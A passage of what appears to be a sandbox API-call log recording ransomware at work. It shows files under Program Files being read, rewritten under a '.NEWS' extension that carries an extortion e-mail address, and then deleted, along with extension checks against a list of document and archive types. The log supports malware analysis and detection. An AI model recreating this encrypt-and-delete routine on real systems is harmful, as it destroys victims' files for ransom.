lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xb0, lpOverlapped=0x0) returned 1 [0067.217] ReadFile (in: hFile=0x374, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.217] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xea, lpOverlapped=0x0) returned 1 [0067.218] SetEndOfFile (hFile=0x308) returned 1 [0067.218] CloseHandle (hObject=0x308) returned 1 [0067.219] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.219] SetEndOfFile (hFile=0x374) returned 1 [0067.223] CloseHandle (hObject=0x374) returned 1 [0067.223] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x26) returned 1 [0067.223] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0067.224] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0067.224] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0067.224] lstrlenW (lpString=".doc") returned 4 [0067.224] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0067.224] lstrlenW (lpString=".docx") returned 5 [0067.224] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0067.224] lstrlenW (lpString=".pdf") returned 4 [0067.224] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0067.224] lstrlenW (lpString=".xls") returned 4 [0067.224] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0067.224] lstrlenW (lpString=".xlsx") returned 5 [0067.224] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0067.224] lstrlenW (lpString=".ppt") returned 4 [0067.224] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0067.224] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0067.224] lstrlenW (lpString=".zip") returned 4 [0067.224] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0067.224] lstrlenW (lpString=".rar") returned 4 [0067.224] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0067.224] lstrlenW (lpString=".bz2") returned 4 [0067.224] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0067.224] lstrlenW (lpString=".7z") returned 3 [0067.224] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0067.224] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0067.224] lstrlenW (lpString=".dbf") returned 4 [0067.224] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0067.224] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0067.224] lstrlenW (lpString=".1cd") returned 4 [0067.224] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0067.224] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0067.224] lstrlenW (lpString=".jpg") returned 4 [0067.224] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0067.225] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0067.225] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0067.225] lstrlenW (lpString=".doc") returned 4 [0067.225] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0067.225] lstrlenW (lpString=".docx") returned 5 [0067.225] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0067.225] lstrlenW (lpString=".pdf") returned 4 [0067.225] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0067.225] lstrlenW (lpString=".xls") returned 4 [0067.225] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0067.225] lstrlenW (lpString=".xlsx") returned 5 [0067.225] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0067.225] lstrlenW (lpString=".ppt") returned 4 [0067.225] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0067.225] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0067.225] lstrlenW (lpString=".zip") returned 4 [0067.225] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0067.225] lstrlenW (lpString=".rar") returned 4 [0067.225] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0067.225] lstrlenW (lpString=".bz2") returned 4 [0067.225] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0067.225] lstrlenW (lpString=".7z") returned 3 [0067.225] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0067.225] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0067.225] lstrlenW (lpString=".dbf") returned 4 [0067.225] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0067.225] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0067.225] lstrlenW (lpString=".1cd") returned 4 [0067.225] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0067.225] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0067.225] lstrlenW (lpString=".jpg") returned 4 [0067.225] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0067.226] lstrcmpiW (lpString1=".txt", lpString2=".NEWS") returned 1 [0067.226] lstrlenW (lpString="Xusage.txt") returned 10 [0067.226] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.226] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1423) returned 1 [0067.226] CloseHandle (hObject=0x374) returned 1 [0067.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0067.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.227] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.227] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.227] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.227] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0067.227] GetLastError () returned 0x0 [0067.227] ReadFile (in: hFile=0x374, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x58f, lpOverlapped=0x0) returned 1 [0067.228] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x590, lpOverlapped=0x0) returned 1 [0067.229] ReadFile (in: hFile=0x374, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.229] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe8, lpOverlapped=0x0) returned 1 [0067.230] SetEndOfFile (hFile=0x308) returned 1 [0067.230] CloseHandle (hObject=0x308) returned 1 [0067.231] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.231] SetEndOfFile (hFile=0x374) returned 1 [0067.231] CloseHandle (hObject=0x374) returned 1 [0067.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.232] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1 [0067.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0067.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0067.232] lstrlenW (lpString=".doc") returned 4 [0067.232] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0067.232] lstrlenW (lpString=".docx") returned 5 [0067.232] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0067.232] lstrlenW (lpString=".pdf") returned 4 [0067.232] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0067.232] lstrlenW (lpString=".xls") returned 4 [0067.232] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0067.232] lstrlenW (lpString=".xlsx") returned 5 [0067.232] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0067.232] lstrlenW (lpString=".ppt") returned 4 [0067.232] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0067.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0067.232] lstrlenW (lpString=".zip") returned 4 [0067.232] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0067.232] lstrlenW (lpString=".rar") returned 4 [0067.232] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0067.233] lstrlenW (lpString=".bz2") returned 4 [0067.233] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0067.233] lstrlenW (lpString=".7z") returned 3 [0067.233] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0067.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0067.233] lstrlenW (lpString=".dbf") returned 4 [0067.233] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0067.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0067.233] lstrlenW (lpString=".1cd") returned 4 [0067.233] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0067.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0067.233] lstrlenW (lpString=".jpg") returned 4 [0067.233] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0067.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0067.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0067.233] lstrlenW (lpString=".doc") returned 4 [0067.233] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0067.233] lstrlenW (lpString=".docx") returned 5 [0067.233] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0067.233] lstrlenW (lpString=".pdf") returned 4 [0067.233] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0067.233] lstrlenW (lpString=".xls") returned 4 [0067.233] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0067.233] lstrlenW (lpString=".xlsx") returned 5 [0067.233] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0067.233] lstrlenW (lpString=".ppt") returned 4 [0067.233] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0067.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0067.233] lstrlenW (lpString=".zip") returned 4 [0067.233] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0067.233] lstrlenW (lpString=".rar") returned 4 [0067.233] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0067.233] lstrlenW (lpString=".bz2") returned 4 [0067.233] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0067.233] lstrlenW (lpString=".7z") returned 3 [0067.234] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0067.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0067.234] lstrlenW (lpString=".dbf") returned 4 [0067.234] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0067.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0067.234] lstrlenW (lpString=".1cd") returned 4 [0067.234] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0067.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0067.234] lstrlenW (lpString=".jpg") returned 4 [0067.234] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0067.234] lstrcmpiW (lpString1=".zip", lpString2=".NEWS") returned 1 [0067.234] lstrlenW (lpString="ffjcext.zip") returned 11 [0067.234] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.235] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=14156) returned 1 [0067.235] CloseHandle (hObject=0x374) returned 1 [0067.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20 [0067.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.236] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.236] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.236] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.236] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0067.237] GetLastError () returned 0x0 [0067.237] ReadFile (in: hFile=0x374, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x374c, lpOverlapped=0x0) returned 1 [0067.238] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x3750, lpOverlapped=0x0) returned 1 [0067.239] ReadFile (in: hFile=0x374, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.240] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xea, lpOverlapped=0x0) returned 1 [0067.240] SetEndOfFile (hFile=0x308) returned 1 [0067.240] CloseHandle (hObject=0x308) returned 1 [0067.241] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.241] SetEndOfFile (hFile=0x374) returned 1 [0067.242] CloseHandle (hObject=0x374) returned 1 [0067.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.242] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1 [0067.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0067.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0067.242] lstrlenW (lpString=".doc") returned 4 [0067.243] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0067.243] lstrlenW (lpString=".docx") returned 5 [0067.243] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0067.243] lstrlenW (lpString=".pdf") returned 4 [0067.243] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0067.243] lstrlenW (lpString=".xls") returned 4 [0067.243] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0067.243] lstrlenW (lpString=".xlsx") returned 5 [0067.243] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0067.243] lstrlenW (lpString=".ppt") returned 4 [0067.243] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0067.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0067.243] lstrlenW (lpString=".zip") returned 4 [0067.243] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0067.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0067.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0067.243] lstrlenW (lpString=".doc") returned 4 [0067.243] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0067.243] lstrlenW (lpString=".docx") returned 5 [0067.243] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0067.243] lstrlenW (lpString=".pdf") returned 4 [0067.243] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0067.243] lstrlenW (lpString=".xls") returned 4 [0067.243] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0067.243] lstrlenW (lpString=".xlsx") returned 5 [0067.243] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0067.243] lstrlenW (lpString=".ppt") returned 4 [0067.243] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0067.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0067.243] lstrlenW (lpString=".zip") returned 4 [0067.243] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0067.244] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0067.244] lstrlenW (lpString="splash.gif") returned 10 [0067.244] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0067.317] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=8590) returned 1 [0067.317] CloseHandle (hObject=0x354) returned 1 [0067.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 0x20 [0067.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.317] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0067.317] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.317] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.317] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0067.318] GetLastError () returned 0x0 [0067.318] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x218e, lpOverlapped=0x0) returned 1 [0067.319] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2190, lpOverlapped=0x0) returned 1 [0067.320] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.320] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe8, lpOverlapped=0x0) returned 1 [0067.320] SetEndOfFile (hFile=0x35c) returned 1 [0067.321] CloseHandle (hObject=0x35c) returned 1 [0067.322] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.322] SetEndOfFile (hFile=0x354) returned 1 [0067.322] CloseHandle (hObject=0x354) returned 1 [0067.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.323] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1 [0067.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0067.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0067.323] lstrlenW (lpString=".doc") returned 4 [0067.323] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.323] lstrlenW (lpString=".docx") returned 5 [0067.323] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0067.323] lstrlenW (lpString=".pdf") returned 4 [0067.323] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.323] lstrlenW (lpString=".xls") returned 4 [0067.323] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.323] lstrlenW (lpString=".xlsx") returned 5 [0067.323] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0067.323] lstrlenW (lpString=".ppt") returned 4 [0067.323] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0067.323] lstrlenW (lpString=".zip") returned 4 [0067.324] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.324] lstrlenW (lpString=".rar") returned 4 [0067.324] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.324] lstrlenW (lpString=".bz2") returned 4 [0067.324] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.324] lstrlenW (lpString=".7z") returned 3 [0067.324] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0067.324] lstrlenW (lpString=".dbf") returned 4 [0067.324] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0067.324] lstrlenW (lpString=".1cd") returned 4 [0067.324] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0067.324] lstrlenW (lpString=".jpg") returned 4 [0067.324] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0067.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0067.324] lstrlenW (lpString=".doc") returned 4 [0067.324] 